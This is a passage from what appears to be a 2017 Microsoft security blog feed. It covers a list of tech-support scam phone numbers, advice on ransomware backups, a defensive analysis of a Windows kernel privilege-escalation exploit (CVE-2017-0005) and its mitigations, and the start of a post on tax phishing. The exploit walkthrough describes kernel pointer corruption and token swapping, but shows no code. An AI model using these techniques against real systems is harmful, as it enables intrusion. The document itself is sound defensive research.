61-1800-431-440 61-1800-431-441 61-1800-431-443 61-1800-628-619 61-1800-780-684 61-1800-875-389
61-180-87-5272 61-267-111-644 61-3-8657-5304 61894683528 61-894-683-528 64-48879132
64-48879146 64800453791 65-31631471 65-3163-1471 65-31637677 65-31638569
731-777-446 7-848-75-27 7-848-75-55 7-848-75-63 78-75-49-12 78-75-95-72
79063446907 79608268467 79608290750 79626057542 79626057552 79626057581
79626057590 79626059060 79626059063 79626059071 79653906770 79677229535
79677229540 79677263582 79677280316 79677280434 79677280561 79677281060
79677281254 79677281512 800-046-5034 800-046-5035 8000465047 8000465243
8000465255 8000465275 8000465299 800-069-8947 8000868271 800-090-3178
800-090-3917 800-090-3965 800-0988794 800-098-8794 800-130-2199 800-183-8114
800-242-6157 800-243-0834 800-257-1671 800-257-6159 800-276-0340 800-279-0225
800-337-3219 800-368-8157 800-385-3506 800-385-4829 800-446-1356 800-497-5972
8006370838 800-637-0838 800-696-4076 800-795-3272 800-813-1316 800904638
800-910-990 800919811 800-919-811 805-081-035 805081097 805-086-615
8081011552 8081017544 8081644738 8081648928 808-189-0262 81143615
815880322 844-313-9169 844-324-2962 844-430-7553 844-431-5897 844-542-4107
844-663-2459 844-676-8550 844-760-4122 844-798-3802 84480184 84480189
844-885-0160 855-205-0255 855-205-9531 855-205-9913 855-228-0920 855-228-2129
855-228-2130 855-228-2379 855-239-2183 855-241-4822 855-248-1449 855-248-1497
855-252-1791 855-257-7100 855-258-1446 855-262-8670 855-262-9103 855-266-4741
855-282-6042 855-289-7530 855-292-3941 855-292-3959 855-294-1124 855-294-1129
855-297-7165 855-297-7575 855-324-4119 855-324-5612 855-324-5898 855-332-6148
855-332-6165 855-334-1897 855-351-1670 855-358-6330 855-358-7284 855-364-4107
855-369-2331 855-404-6983 855-404-6986 855-405-7095 855-431-3599 855-445-8994
855-445-9025 855-445-9067 855-454-5006 855-484-5936 855-484-6018 855-500-9647
855-500-9849 855-500-9865 855-689-8196 855-689-8237 855-692-5017 855-699-6155
855-699-6156 855-731-4558 855-731-4577 855-740-4835 855-740-4839 855-786-3890
855-828-0725 855-879-8128 855-880-2625 855-882-7403 855-883-8575 855-894-7625
857880151 866-201-8999 866-203-0332 866-203-0675 866-203-9002 866-209-9923
866-211-8374 866-245-2927 866-249-2994 866-251-3564 866-258-2043 866-258-2061
866-273-6026 866-273-6047 866-273-6495 866-279-5039 866-279-5090 866-290-5160
866-291-8355 866-291-8725 866-296-7071 866-298-7302 866-315-0847 866-331-7691
866-350-2508 866-350-2509 866-383-9914 866-391-6238 866-392-7720 866-421-0581
866-421-0775 866-421-0783 866-423-9927 866-424-8189 866-448-1409 866-491-1849
866-491-1929 866-517-6557 866-528-2581 866-529-4573 866-529-4576 866-537-8515
866-553-1955 866-570-7665 866-627-4486 866-664-7153 866-674-4473 866-674-4534
866-679-4832 866-711-7695 866-745-9470 866-745-9585 866-788-2694 866-799-3813
866-799-3818 866-811-5991 866-819-6803 866-819-6805 866-841-9124 866-841-9197
866-844-2880 866-856-3548 866-876-0572 866-877-9859 866-884-4602 866-888-0950
866-940-2699 87407257 87409694 877-201-7936 877-205-4993 877-208-5121
877-211-2006 877-221-5313 877-223-4910 877-223-5064 877-249-0394 8772565767
877-265-0730 877-269-9098 877-288-4308 877-387-3582 877-387-9795 877-495-0163
877-527-9416 877-548-3690 877-578-1951 877-578-4670 877-593-4297 877-765-8184
877-840-3423 877-848-0941 877-910-4210 888-204-3985 888-217-5108 888-219-8266
888-225-0777 888-233-1123 888-242-1512 888-244-7420 888-248-8302 888-252-1520
888-275-1718 888-304-1764 888-304-8120 888-310-3274 888-382-2802 888-410-8118
888-440-0654 888-453-1072 888-453-1525 888-466-6330 888-473-9840 888-493-5974
888-557-9431 888-587-3647 888-595-2212 888-617-6592 888-623-3295 888-660-1758
888-660-1761 888-694-2168 888-694-2197 888-694-2261 888-722-9670 888-776-2580
888-778-1543 888-803-9412 888-810-5341 888-829-5571 888-858-1973 888-858-8261
888-870-8049 900838103 900839155 900861783 900868512 900-868-512
900868596 91-8979038113 91-9899641369 970736352 970736358 970736361
98862886

 

Our Tech support scams FAQ page has the latest info on this type of threat, including scammer tactics, fake error messages, and the latest scammer hotlines. You can also read our latest blog, New tech support scam launches communication or phone call app.

 

]]>
https://blogs.technet.microsoft.com/mmpc/2017/04/03/tech-support-scams-persist-with-increasingly-crafty-techniques/feed/126
World Backup Day is as good as any to back up your datahttps://blogs.technet.microsoft.com/mmpc/2017/03/28/world-backup-day-is-as-good-as-any-to-back-up-your-data/https://blogs.technet.microsoft.com/mmpc/2017/03/28/world-backup-day-is-as-good-as-any-to-back-up-your-data/#commentsTue, 28 Mar 2017 21:04:31 +0000https://blogs.technet.microsoft.com/mmpc/?p=11845back-upIn today’s security landscape, there are more threats to data than ever before. Beyond corruption caused by hardware or human failure, malware and cyberattacks can put data in serious danger.  That’s why it’s imperative for enterprises, small-and-medium businesses, and individuals to back up data. It must be implemented systematically, not just on World Backup Day (March 31), but regularly.

One of the biggest threats to data is ransomware. Organizations, hospitals, and businesses have succumbed to paying attackers – a testament to the importance of key data to business continuity. Unfortunately, these incidents can indicate the absence of effective backup strategies in these organizations, which can make ransomware attacks more lucrative for attackers.

We have observed a decline in ransomware encounters in recent months. In part, we believe this downward trend is a result of enhanced detection of ransomware downloaders by Windows Defender AV via heuristics and improved cloud protection, which are powered by precise machine learning models. The blocking of ransomware downloaders significantly decreased the volume of ransomware that reaches the endpoint. Those that do reach the computer can be detected and removed by generic heuristic-based ransomware detections.

But that doesn’t mean that the threat of ransomware is going away any time soon. If anything, we’re seeing a lot of innovation in malware code in ransomware families like Cerber and Locky, as well as in cybercriminal operations that distribute them. They will continue to be a big threat to companies, especially as they are observed to take on characteristics of targeted attacks. The sad truth is, cybercriminals know they can get significantly better returns from companies.

The other threat to data is data-wiping malware, which delete or replace all files on the computer. These threats are being used in high-profile targeted attacks against large organizations. Given the extent of their damage, they can halt business operations or take services offline.

One such malware is Depriz (aka Shamoon), which has been used in multiple targeted attacks in the Middle East since 2016. Attacks that use Depriz are destructive in nature, so there is barely any chance of restoring damaged files.

In a very curious development, a new version of Depriz was spotted sporting a ransomware component. This combination pointedly emphasizes how much attackers want to go after company data, whether to encrypt them for extortion money as ransomware would, or to delete them for sabotage as data-wipers would.

Ransomware and data-wipers pile on to already existing threats to data: theft, hardware breakdown, natural disasters, or even human mistakes. The general advice is to assume compromise. It takes only one employee falling prey to a social engineering lure to start a chain of infection that will lead to data loss.

The impact of ransomware and data-wiping malware can be minimized by making sound backup plans a critical component of any disaster recovery plan.

The 3-2-1 rule is a generally accepted practice for backing up. By creating three backup copies in at least two different storage media formats, with at least one copy in offline storage, you can have better safeguards to making sure your data is protected against these types of attacks. The 3-2-1 technique increases your chances of recovering from incidents.

Windows 10 has built-in technologies that can help you back up files systematically. You can turn on File History to regularly and automatically save copies of important files in a drive you specify. The best practice is to use an external drive as the backup drive, and to do a periodic offline backup by disconnecting the backup drive. This is because ransomware can encrypt file history backups just like any other files in the computer, including backup drives that are connected at the time of infection. File History can gracefully handle backup drives as they are connected and disconnected. You can then restore files from backup in the event your files are lost or damaged.

Microsoft OneDrive and Microsoft OneDrive for Business, which allow you to store, access, and share files from anywhere using any device, is integrated into Windows 10. On top of being a great collaboration and organization tool, OneDrive can help protect from ransomware and other threats using Version History, which automatically saves the previous version of your Office documents when you save or change them. You can then use your OneDrive backup to restore files.

Needless to say, endpoints and networks should be protected from ransomware and cyberattacks. Windows Defender Antivirus, for instance, uses a combination of heuristic and machine-learning technologies to deliver cloud-based protection against the latest threats. On the other hand, Windows Defender Advanced Threat Protection alerts security operations teams about suspicious activities associated with ransomware, zero-day exploits, targeted attacks, and other threats.

Even with security solutions in place, however, your data may still be exposed to other risks, such as the aforementioned natural disasters, media failure, and human error. Everything must be done to make sure critical data is safe. Backing up is not optional – it should be a vital part of any cybersecurity strategy.

 

Tanmay Ganacharya
Principal Security GM, Windows Defender Research
Follow on Twitter: @tanmayg

 

 

]]>
https://blogs.technet.microsoft.com/mmpc/2017/03/28/world-backup-day-is-as-good-as-any-to-back-up-your-data/feed/2
Detecting and mitigating elevation-of-privilege exploit for CVE-2017-0005https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/#commentsMon, 27 Mar 2017 15:00:01 +0000https://blogs.technet.microsoft.com/mmpc/?p=11695On March 14, 2017, Microsoft released security bulletin MS17-013 to address CVE-2017-0005, a vulnerability in the Windows Win32k component that could potentially allow elevation of privileges. A report from a trusted partner identified a zero-day exploit for this vulnerability. The exploit targeted older versions of Windows and allowed attackers to elevate process privileges on these platforms.

In this article, we walk through the technical details of the exploit and assess the performance of tactical mitigations in Windows 10 Anniversary Update—released in August, 2016—as well as strategic mitigations like Supervisor Mode Execution Prevention (SMEP) and virtualization-based security (VBS). We also show how upcoming Creators Update enhancements to Windows Defender Advanced Threat Protection (Windows Defender ATP) can detect attacker elevation-of-privilege (EoP) activity, including EoP activities associated with the exploit.

Zero-day elevation-of-privilege exploit

Upon review of its code, we found that this zero-day EoP exploit targets computers running Windows 7 and Windows 8. The exploit has been created so that it avoids executing on newer platforms.

The exploit package unfolds in four stages:

 

Execution stages of the exploit package and corresponding functionality

Figure 1. Execution stages of the exploit package and corresponding functionality

 

Stages 1 and 2 - Decryptor and API resolver

To protect the main exploit code, attackers have encrypted the initial stage PE file using AES-256 algorithm. To load code for the next stage, a password must be passed as a parameter to the main entry function. Using the CryptHashData API, the password is used as a key to decrypt the loader for the next stage.

Stage 2 acts as an intermediate stage where API resolution is performed. API resolution routines in this stage resemble how shellcode or position-independent code works.

The following code shows part of the GetProcAddress API resolution routine. This code appears to obfuscate the succeeding payload and stifle analysis.

 

Locating kernel32!GetProcAddress location using EAT traverse

Figure 2. Locating kernel32!GetProcAddress location using EAT traverse

 

Stage 3 - Avoiding newer platforms

In stage 3, the exploit package performs environmental checks, specifically to identify the operating system platform and version number. The attacker ensures that the exploit code runs on vulnerable systems that have fewer built-in mitigations, particularly Windows 7 and Windows 8 devices.

 

Code that performs environmental checks

Figure 3. Code that performs environmental checks

 

Analysis of the exploit code reveals targeting of systems running specific versions of Windows:

  • Major release version 5
  • Major release version 6 and minor version 0, 1, or 2

These versions map to Windows operating systems between Windows 2000 and Windows 8, notably excluding Windows 8.1 and Windows 10. Also, upon examination of its architecture-checking routine, we find that the exploit code targets 64-bit systems.

The next stage payload is loaded through DLL reflection.

 

Stage 4 - Exploit routine

After the environmental checks, the attacker code begins actual exploit of the Windows kernel vulnerability CVE-2017-0005, resulting in arbitrary memory corruption and privileged code execution.

PALETTE.pfnGetNearestFromPalentry corruption

Code execution in the kernel space is made possible by a corrupted pointer in the PALETTE.pfnGetNearestFromPalentry function. Microsoft security researchers have been closely tracking this exploitation technique, which is designed to execute code in the kernel courtesy of a malformed PALETTE object. Observed in an unrelated sample used during the Duqu incident, we have described this relatively old exploit technique in a Virus Bulletin 2015 presentation.

The following snippet shows the corrupted state of the PALETTE function pointer:

 

PALETTE.pfnGetNearestFromPalentry corruption

Figure 4. PALETTE.pfnGetNearestFromPalentry corruption

 

The exploit code calls the native API NtGdiEngBitBlt to trigger an win32k!XLATEOBJ_iXlate function call that uses the corrupted handler. This passes the control flow to a previously allocated shellcode. As a comparison, the exploit code in the Duqu 2.0 case used a GetNearestPaletteIndex call from Gdi32.dll to pass execution to the corrupt callback handler. This difference clearly indicates that these two exploits are unrelated, despite similarities in their code—similarities that can be attributed to the fact that these exploitation techniques are well-documented.

The exploit uses dynamically constructed syscall code snippets to call native Windows APIs.

 

Dynamically constructed calls to kernel functions

Figure 5. Dynamically constructed calls to kernel functions

 

During the execution of the shellcode, the call stack looks like following:

 

Example of the call stack when passing control flow using the corrupted function handler

Figure 6. Example of the call stack when passing control flow using the corrupted function handler

 

Once the shellcode is executed, the exploit uses a common token-swapping technique to obtain elevated, SYSTEM privileges for the current process. This technique is often observed in similar EoP exploits.

 

Token-swapping shellcode

Figure 7. Token-swapping shellcode

 

Mitigation and detection

As previously mentioned, this zero-day exploit does not target modern systems like Windows 10. If environmental checks in the exploit code are bypassed and it is forced to execute on such systems, our tests indicate that the exploit would be unable to completely execute, mitigated by additional layers of defenses. Let’s look at both the tactical mitigations—medium-term mitigations designed to break exploitation techniques—as well as the strategic mitigations—durable, long-term mitigations designed to eliminate entire classes of vulnerabilities—that stop the exploit.

Tactical mitigation – prevention of pfnGetNearestFromPalentry abuse

The use of PALETTE.pfnGetNearestFromPalentry as a control transfer point has been tracked by Microsoft security researchers for quite some time. In fact, this method is on the list tactical mitigations we have been pursuing. In August 2016, with the Windows 10 Anniversary Update, Microsoft released tactical mitigation designed to prevent the abuse of pfnGetNearestFromPalentry. The mitigation checks the validity of PALETTE function pointers when they are called, ensuring that only a predefined set of functions are called and preventing any abuse of the structure.

Strategic mitigations

Other than the described tactical mitigation, this exploit could also be stopped in Windows 10 by SMEP, ASLR improvements in Windows kernel 64-bit, and virtualization-based security (VBS).

Supervisor Mode Execution Prevention (SMEP)

SMEP is a strategic mitigation feature supported by newer Intel CPUs and adopted since Windows 8.

With SMEP, bits in the page table entry (PTE) serve as User/Supervisor (U/S) flags that designate the page to be either in user mode or kernel mode. If a user-mode page is called from kernel-mode code, SMEP generates an access violation and the system triggers a bug check that halts code execution and reports a security violation. This mechanism broadly stops attempts at using user-mode allocated executable pages to run shellcode in kernel mode, a common method used by EoP exploits.

 

SMEP capturing exploit attempt

Figure 8. SMEP capturing exploit attempt

 

Strategic mitigation like SMEP can effectively raise the bar for a large pool of attackers by instantly rendering hundreds of EoP exploits ineffective, including old-school exploitation methods that call user-mode shellcode directly from the kernel, such as the zero-day exploit for CVE-2017-0005.

To check whether a computer supports SMEP, one can use the Coreinfo tool. The tool uses CPUID instructions to show the sets of CPUs and platforms that should support the feature. The following screen shows that the tested CPU supports SMEP. SMEP is supported on Windows 8 and later.

 

Coreinfo shows whether SMEP is enabled

Figure 9. Coreinfo shows whether SMEP is enabled

 

Windows kernel 64-bit ASLR improvements

Although attackers are forced to work harder to create more sophisticated exploits with SMEP, we do know from studies shared in security conferences and documented incidents that there are ways to potentially bypass SMEP mitigation. These bypass mechanisms include the use of kernel ROP gadgets or direct PTE modifications through read-write (RW) primitives. To respond to these foreseeable developments in exploitation techniques, Microsoft has provided Windows kernel 64-bit ASLR improvements with the Windows 10 Anniversary Update and has made SMEP stronger with randomized kernel addresses, mitigating a bypass vector resulting from direct PTE corruption.

 

Windows Kernel 64-bit ASLR improvements

Figure 10. Windows Kernel 64-bit ASLR improvements

 

Virtualization-based security (VBS)

Virtualization-based security (VBS) enhancements provide another layer of protection against attempts to execute malicious code in the kernel. For example, Device Guard blocks code execution in a non-signed area in kernel memory, including kernel EoP code. Enhancements in Device Guard also protect key MSRs, control registers, and descriptor table registers. Unauthorized modifications of the CR4 control register bitfields, including the SMEP field, are blocked instantly.

Windows Defender ATP detections

With the upcoming Creators Update release, Windows Defender ATP will be able to detect attempts at a SMEP bypass through CR4 register modifications. Windows Defender ATP will monitor the status of the CR4.SMEP bit and will report inconsistencies. In addition to this, Windows Defender ATP will detect token-swapping attempts by monitoring the state of the token field of a process structure.

The following screenshot shows Windows Defender ATP catching exploit code performing the token-swapping technique to elevate privileges.

 

Detection of token-swapping technique on Windows Defender ATP

Figure 11. Detection of token-swapping technique on Windows Defender ATP

 

Conclusion: Resiliency with mitigation and behavioral detection

The zero-day exploit for CVE-2017-0005 shied away from newer systems because it would have simply been stopped and would have only managed to get unnecessary exposure. Attackers are not so much focusing on legacy systems but avoiding security enhancements present in modern hardware and current platforms like Windows 10 Anniversary Update. While patches continue to provide single-point fixes for specific vulnerabilities, this attacker behavior highlights how built-in exploit mitigations like SMEP, the ASLR improvements, and virtualization-based security (VBS) are providing resiliency.

Windows Defender ATP with Creators Update—now available for public preview—extends defenses further by detecting exploit behavior on endpoints. With the upcoming enhancements, Windows Defender ATP could raise alerts so that SecOps personnel are immediately made aware of EoP activity and can respond accordingly. Read our previous post about uncovering cross-process injection to learn more about how Windows Defender ATP detects sophisticated breach activity.

In addition to strengthening generic detection of EoP exploits, Microsoft security researchers are actively gathering threat intelligence and indicators attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit. Comprehensive threat intelligence about activity groups and their attack methods are available to Windows Defender ATP customers.

Windows Defender ATP is built into the core of Windows 10 Enterprise and can be evaluated free of charge.

 

Matt Oh
Windows Defender ATP Research Team

 

]]>
https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/feed/8
Tax-themed phishing and malware attacks proliferate during the tax filing seasonhttps://blogs.technet.microsoft.com/mmpc/2017/03/20/tax-themed-phishing-and-malware-attacks-proliferate-during-the-tax-filing-season/https://blogs.technet.microsoft.com/mmpc/2017/03/20/tax-themed-phishing-and-malware-attacks-proliferate-during-the-tax-filing-season/#respondMon, 20 Mar 2017 12:50:12 +0000https://blogs.technet.microsoft.com/mmpc/?p=11555Tax-themed scams and social engineering attacks are as certain as (death or) tax itself. Every year we see these attacks, and 2017 is no different.

These attacks circulate year-round as cybercriminals take advantage of the different country and region tax schedules, but they peak in the months leading to U.S. Tax Day in mid-April. The U.S. Internal Revenue Service last week warned of last-minute email scams.

Cybercriminals are using a variety of social engineering tactics related to different scenarios associated with tax filing, in order to get you to click links or open malicious attachments.

Here are some recent examples we’ve seen. The best defense is awareness: no matter what stage you are in your tax filing and wherever you are in the world, don’t fall for these social engineeri